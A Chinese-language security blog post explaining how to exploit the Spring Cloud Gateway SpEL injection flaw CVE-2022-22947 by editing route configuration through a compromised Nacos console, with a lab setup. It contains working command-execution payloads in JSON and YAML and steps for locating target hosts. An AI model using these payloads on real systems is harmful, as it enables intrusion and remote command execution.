Nacos结合Spring Cloud Gateway RCE利用

Spring Cloud Gateway曾出现CVE-2022-22947漏洞,该漏洞允许攻击者通过动态配置路由,执行SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。但实际情况可能有很多Spring Cloud Gateway存在漏洞,但未开放Actuator API,所以导致无法利用。但如果在资产收集时发现目标存在nacos,并且可用弱口令或者未授权漏洞创建用户登录进去的话,我们可以采用Nacos的动态配置特性结合Spring Cloud Gateway的RCE漏洞进行利用,本文将具体解析这些中间件应用的原理及其配置,再到漏洞利用方式,旨在除了结合Spring Cloud Gateway漏洞利用以外,能发掘更多这种动态配置结合漏洞利用的方式,从而可能会使得某些需要修改配置文件的漏洞重新有了新的利用方式

1. 前置知识

1.1 什么是Spring Cloud Gateway

Spring Cloud Gateway可以简单理解为一个具有丰富功能的微服务网关,它可以拦截客户端的请求,然后根据predicates(断言)来为该请求分配合适的后端应用,例如当用户请求http://192.168.1.1:80/app时,网关可以配置将其转发到APP应用服务器http://192.168.2.2:8080/app上,又或者使用Filter拦截器,为请求增加某些内容或者为服务器响应增加某些内容,总之功能很强大, 有兴趣可以去找文档研究一下。

1.2 什么是nacos

Nacos可以理解为一个统一管理的配置注册中心,配置了nacos后,项目中的配置文件便可以通过Nacos来动态修改。应用通过注册到Nacos中,然后绑定组和dataID的形式,来绑定Nacos上创建的动态配置文件,当Nacos上所绑定的配置文件发布了新版时,应用将从Nacos中自动同步新的配置,大大增加了灵活性

1.3 CVE-2022-22947漏洞回顾

该漏洞在网上公开POC的利用方式是通过/actuator/gateway/routes这个节点进行动态添加路由的,当项目配置文件中配置了以下两行配置时(YAML格式),便会开启该接口:

management.endpoint.gateway.enabled: true
management.endpoints.web.exposure.include: gateway

其中发送的添加路由的数据包中的数据段如下:

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}

我们可以先理解一下这段POC的含义,其中id字段代表的是路由的ID标识,而filters则是Spring Cloud Gateway中路由配置的过滤器,这里指定了过滤器AddResponseHeader,含义为对匹配到的请求的响应包中添加一个自定义的Header,其中名称为 Result,值为该漏洞利用的SpEL表达式,执行了命令id,也就是说当一个请求匹配到该路由时,返回包中应该会存在一个Header返回了我们定义的键值,利用成功的话会得到:result: uid=0(root) gid=0(省略...)

但POC中并未定义路由的匹配规则,因为开启actuator/gateway的话只需要刷新一下路由然后直接查看路由配置就可以得到命令执行的回显了。为了验证,我修改了一下POC,将其添加一条路由规则如下:

{
    "id": "aaa",
    "order": 0,
    "predicates": [
      {
        "args": {
          "_genkey_0": "/test/**"
        },
        "name": "Path"
      }
    ],"filters": [
{
    "name": "AddResponseHeader",
    "args": {
"name":"result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream())).replaceAll(\"\n\",\"\").replaceAll(\"\r\",\"\")}"}
  }],
    "uri": "http://example.com"
  }

发包添加成功:

这条路由的含义就是增加了predicates来匹配请求的访问路径,当请求访问的路径匹配到了/test/**时,则触发该路由,然后再看到filters,跟之前的POC是一样的,最后再注意到uri参数,它的作用是当路由匹配到/test/**时,将其转发到http://example.com上,但注意这是个公网地址,在真实环境利用时应考虑到如果服务器不出网则可能造成路由转发失败。所以当我们访问了 http://localhost:8080/test/时,路由会帮我们转发到 http://example.com/test/。

接下来刷新一下路由,然后尝试访问一下/test路径看下效果:

成功在响应包的头部增加了result字段,且值为我们希望的命令执行的结果。但是注意如果你使用的是vulhub的那个环境,还需要改一下配置文件才可以这么利用,因为那个配置文件坑就坑在配置了一条默认的路由,只要收到的是Get请求一律转到example这个网站,而且优先级是最高的,所以创建的/test路由不起作用,可以把这条改掉就好了:

到这里,在Nacos中碰到Sping Cloud Gateway的应用,并且没有开启Actuator的情况下,我们就有思路去利用了。但是利用过程中我仍然碰到了很多坑,接下来会从搭建环境开始

2. 环境搭建

如果对于nacos+spring cloud环境比较熟悉了或者只想看利用过程,可以跳过这一节,这一节内容主要是加深对于nacos+spring cloud微服务环境的理解。

环境搭建其实只需要搭建一个nacos和一个SpringCloudGateway就可以了,Nacos可以在Github直接下载Release版本:https://github.com/alibaba/nacos/releases/tag/2.1.0,解压后运行shstartup.sh -m standalone,访问 localhost:8848/nacos 即可使用默认密码nacos/nacos登录。

然后需要创建一个SpringCloudGateway的项目,并引入Nacos依赖,连接到Nacos服务,我已经将整合好的存在漏洞的版本放到了我的Github:https://github.com/B0rn2d/Spring-Cloud-Gateway-Nacos,另外一个是Service-provider应用(后续会使用到,也可以不用下载,不影响复现)可以在nacos官方示例中下载使用,只用启动nacos-spring-cloud-provider-example这个就可以了。

以上项目均推荐使用jdk1.8运行,否则可能会报错。先运行存在漏洞的Gateway项目,在项目的配置文件bootstrap.yml中,配置了连接Nacos的关键项:

其中spring.cloud.nacos.config下,name代表的是要在nacos中创建的配置文件的DataID,file-extension则是nacos中所创建的配置文件的格式,group则代表nacos中配置文件对应的组,而server-addr则是nacos的访问地址,在nacos中创建对应的配置文件如下:

此时便成功与nacos整合了,如果运行正常,则spring-cloud-gateway项目会从nacos中动态的去获取这个配置文件,然后将内容进行即时的更新,运行项目后,可以在nacos中的监听查询功能检查是否正常连接:

要注意的是这个功能只能看到在监听Nacos配置的应用的IP地址,无法看到端口,这里我在虚拟机以及本机分别部署各一个gateway应用,可以看到它们的IP

另外,在上述配置文件中spring.cloud.nacos.config下的discovery配置项,目的是在于把gateway应用注册到Nacos的服务中,从而可以使用服务名的方式来访问配置到nacos的微服务

接下来,可以选择性再启动一下上面说的第二个应用service-provider应用,看到该应用的application文件如下:

server.port=8070
spring.application.name=service-provider
spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848

它将会在8070端口开放服务,应用名为service-provider,并将服务同样通过第三条配置注册到nacos上,接下来在Nacos的服务管理功能中,可以看到了我们的Spring Cloud Gateway应用以及提供服务的service-provider都已经成功注册:

接下来通过配置一条简单的路由,来测试运行效果,在刚才创建的配置文件中,点击修改配置如下:

spring:
  cloud:
    gateway:
      routes:
        - id: exam
          order: 0
          uri: lb://service-provider
          predicates:
            - Path=/echo/**

发布后,gateway应用会成功刷新配置,此时若访问/echo/**路径,则nacos会将请求转发到service-provider中,不再是通过写死的url来进行转发,uri中的lb协议指的就是通过寻找微服务的方式进行转发。

gateway应用开放的端口可以在application.yaml中修改,项目中设置的是8888端口,所以访问http://127.0.0.1:8888/echo/123,则相当于请求http://127.0.0.1:8070/echo/123,service-provider应用中开放了一个控制器如下:

所以成功访问到service-provider服务,返回的页面如下:

至此环境就配置通了。

3. 利用方式

如果拿到了一个Nacos权限,如何进行有效的信息收集以及利用呢?以上面搭建的环境为例,我们搭建了一个Nacos,一个Spring Cloud Gateway网关,以及一个微服务Service-provider,假如进入到nacos管理页面,翻阅配置时候发现有Spring Cloud Gateway相关的配置,那么第一步可以先查看该配置项都有哪些服务器在监听?监听的服务器基本可以肯定就是运行了Spring Cloud Gateway的服务器,可以在配置文件的更多中点击监听查询:

然后就可以看到监听该配置文件的服务器IP了:

但是看不到端口怎么办,除了可以通过扫描端口的方式来识别应用所在端口,或者这时候也可以去尝试一下查看服务管理中的服务,因为如前文所述,Spring Cloud Gateway要实现通过服务名的方式来访问微服务应用,则需要先把自己注册到服务中:

我们可以看服务名来识别应用的类型,点击详情后也可以看到服务具体的IP以及端口,这里IP变成192.168.163.174是因为不知道为什么它绑定到了我电脑另外一个网卡了,正常来说应该还是127.0.0.1,也就是说在真实环境里面他是一个内网IP,是跟前面监听查询中得到的IP是同一个的,如果你是在虚拟机部署的,那么就会正常显示同一个内网IP。

如果应用注册到了服务中的话,那么通过服务详情里的IP,再对比上面监听查询中的IP,就可以定位到监听某个配置文件的应用的具体端口了。

上述的方法就是如何去找到一个配置文件对应的应用的IP及端口,在攻防中如果打进了内网,发现Nacos的时候,我们就可以用这个方法定位内网中的其他应用,接下来就是如果找到了Spring Cloud Gateway应用以及它的Nacos配置文件,如何利用CVE-2022-22947来进行攻击。

还是回到之前的配置文件gateway,如果发现应用未开启Actuator,则结合前文所说的利用响应包增加Header的方式回显,将配置在Nacos中进行修改,改为以下内容:

spring:
  cloud:
    gateway:
      routes:
        - id: exam
          order: 0
          uri: lb://service-provider
          predicates:
            - Path=/echo/**
          filters:
            - name: AddResponseHeader
              args:
                name: result
                value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"

这里增加了一个filters字段,并写入POC,但这里需要注意的坑有两点:

  1. 需要修改原POC,将字符串输入结果使用replace()将\n以及\r符号替换为空,否则会提示报错Header中不能包含该字符导致利用失败
  2. 在YAML配置文件中,SpEL表达式必须要用双引号括起来,但POC原本就带有双引号,会导致识别冲突,所以将POC内所有的双引号改为单引号,外面在用双引号括起来

完成后对配置文件进行发布,然后尝试访问http://127.0.0.1:8888/echo/123,发现成功回显了命令执行的结果:

之前我配置的在虚拟机上跑的另外一个应用也监听了这个配置文件,但我没有配置它本身去nacos注册成为服务,可以看到一样可以利用成功,虽然返回了503(虽然因为自身没有注册服务所以访问不到service-provider服务)

最后有人可能会想到,为什么不在nacos上直接配置让他打开Actuator端点直接利用呢?因为打开之后应用是需要重启才能生效的,所以这个方法无法利用成功

4. 总结

通过例如Nacos这种配置注册中心来动态修改配置的方法,可能会使得一些漏洞有了更多的利用途径,以后碰到Nacos可以更加具有针对性地进行信息收集了。

本文原创作者:B0rn2d,未经允许禁止转载

点击收藏 | 4 关注 | 3
登录 后跟帖